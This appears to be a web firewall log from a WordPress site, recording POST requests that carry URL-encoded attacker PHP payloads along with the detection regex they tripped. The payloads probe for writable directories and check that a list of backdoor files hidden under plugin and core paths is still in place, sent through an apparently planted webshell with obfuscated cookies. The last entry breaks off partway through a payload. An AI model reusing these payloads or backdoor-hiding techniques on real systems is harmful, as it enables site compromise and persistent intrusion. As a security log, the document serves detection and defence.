Edge\";v=\"101\"\n\nYD=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-04-14 04:41:17","222.165.190.235","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qS:%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-addon-manager.php%22%3D%3E%22bd%40%40287668703%40%4074%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Rule\/google_analytics.php%22%3D%3E%22bd%40%40287668729%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-content\/plugins\/facebook-for-woocommerce\/assets\/build\/admin\/index.asset.php%22%3D%3E%22bd%40%40287676557%40%40IZGTGP%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/src\/Engine\/Renderer\/ContentRenderer\/class.blocks.renderer.php%22%3D%3E%22bd%40%40287676573%40%40577%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/src\/Internal\/RestApi\/Routes\/V4\/Settings\/Products\/Schema\/fr.lang.php%22%3D%3E%22bd%40%40282626338%40%40584%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-content\/languages\/admin-network-zh_CN.l10n.php%22%3D%3E%22bd%40%40287676543%40%40%24_COOKIE%5B5%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/src\/Internal\/RestApi\/Routes\/V4\/Settings\/Email\/Schema\/picshow.php%22%3D%3E%22bd%40%40282623629%40%40801%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/admin\/product-category-metabox\/style.asset.php%22%3D%3E%22bd%40%40287676558%40%4082%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-rewrite.php%22%3D%3E%22bd%40%40287668682%40%4036%22%2C%0A%22\/wp-content\/plugins\/filester\/includes\/File_manager\/lib\/php\/editors\/editor.php%22%3D%3E%22bd%40%40287668715%40%40%24_COOKIE%5B1%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/lib\/packages\/Symfony\/Component\/CssSelector\/XPath\/Extension\/comment_function.php%22%3D%3E%22bd%40%40287668727%40%40692%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Parsing\/deactivate.php%22%3D%3E%22bd%40%40287668728%40%40627%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519\/Ge\/smf10.inc.php%22%3D%3E%22bd%40%40257166112%40%40892%22%2C%0A%22\/wp-includes\/rss-functions.php%22%3D%3E%22bd%40%40263080755%40%401032%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-includes\/SimplePie\/src\/Cache\/config_add_news.php%22%3D%3E%22bd%40%40257250637%40%401220%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Decode\/HTML\/editlib.php%22%3D%3E%22bd%40%40282571355%40%401091%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:9048\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpIZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\n\nqS=%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-addon-manager.php%22%3D%3E%22bd%40%40287668703%40%4074%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Rule\/google_analytics.php%22%3D%3E%22bd%40%40287668729%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-content\/plugins\/facebook-for-woocommerce\/assets\/build\/admin\/index.asset.php%22%3D%3E%22bd%40%40287676557%40%40IZGTGP%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/src\/Engine\/Renderer\/ContentRenderer\/class.blocks.renderer.php%22%3D%3E%22bd%40%40287676573%40%40577%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/src\/Internal\/RestApi\/Routes\/V4\/Settings\/Products\/Schema\/fr.lang.php%22%3D%3E%22bd%40%40282626338%40%40584%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-content\/languages\/admin-network-zh_CN.l10n.php%22%3D%3E%22bd%40%40287676543%40%40%24_COOKIE%5B5%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/src\/Internal\/RestApi\/Routes\/V4\/Settings\/Email\/Schema\/picshow.php%22%3D%3E%22bd%40%40282623629%40%40801%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/admin\/product-category-metabox\/style.asset.php%22%3D%3E%22bd%40%40287676558%40%4082%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-rewrite.php%22%3D%3E%22bd%40%40287668682%40%4036%22%2C%0A%22\/wp-content\/plugins\/filester\/includes\/File_manager\/lib\/php\/editors\/editor.php%22%3D%3E%22bd%40%40287668715%40%40%24_COOKIE%5B1%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/lib\/packages\/Symfony\/Component\/CssSelector\/XPath\/Extension\/comment_function.php%22%3D%3E%22bd%40%40287668727%40%40692%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Parsing\/deactivate.php%22%3D%3E%22bd%40%40287668728%40%40627%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519\/Ge\/smf10.inc.php%22%3D%3E%22bd%40%40257166112%40%40892%22%2C%0A%22\/wp-includes\/rss-functions.php%22%3D%3E%22bd%40%40263080755%40%401032%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-includes\/SimplePie\/src\/Cache\/config_add_news.php%22%3D%3E%22bd%40%40257250637%40%401220%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Decode\/HTML\/editlib.php%22%3D%3E%22bd%40%40282571355%40%401091%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20"]
["2026-04-14 05:02:40","115.146.125.52","POST","\/wp-content\/languages\/admin-network-zh_CN.l10n.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> CO:%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-addon-manager.php%22%3D%3E%22bd%40%40287668703%40%4074%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Rule\/google_analytics.php%22%3D%3E%22bd%40%40287668729%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-content\/plugins\/facebook-for-woocommerce\/assets\/build\/admin\/index.asset.php%22%3D%3E%22bd%40%40287676557%40%40IZGTGP%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/src\/Engine\/Renderer\/ContentRenderer\/class.blocks.renderer.php%22%3D%3E%22bd%40%40287676573%40%40577%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/src\/Internal\/RestApi\/Routes\/V4\/Settings\/Products\/Schema\/fr.lang.php%22%3D%3E%22bd%40%40282626338%40%40584%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-content\/languages\/admin-network-zh_CN.l10n.php%22%3D%3E%22bd%40%40287676543%40%40%24_COOKIE%5B5%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/src\/Internal\/RestApi\/Routes\/V4\/Settings\/Email\/Schema\/picshow.php%22%3D%3E%22bd%40%40282623629%40%40801%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/admin\/product-category-metabox\/style.asset.php%22%3D%3E%22bd%40%40287676558%40%4082%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-rewrite.php%22%3D%3E%22bd%40%40287668682%40%4036%22%2C%0A%22\/wp-content\/plugins\/filester\/includes\/File_manager\/lib\/php\/editors\/editor.php%22%3D%3E%22bd%40%40287668715%40%40%24_COOKIE%5B1%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/lib\/packages\/Symfony\/Component\/CssSelector\/XPath\/Extension\/comment_function.php%22%3D%3E%22bd%40%40287668727%40%40692%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Parsing\/deactivate.php%22%3D%3E%22bd%40%40287668728%40%40627%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519\/Ge\/smf10.inc.php%22%3D%3E%22bd%40%40257166112%40%40892%22%2C%0A%22\/wp-includes\/rss-functions.php%22%3D%3E%22bd%40%40263080755%40%401032%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-includes\/SimplePie\/src\/Cache\/config_add_news.php%22%3D%3E%22bd%40%40257250637%40%401220%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Decode\/HTML\/editlib.php%22%3D%3E%22bd%40%40282571355%40%401091%22%5D%3B%20foreach%20%2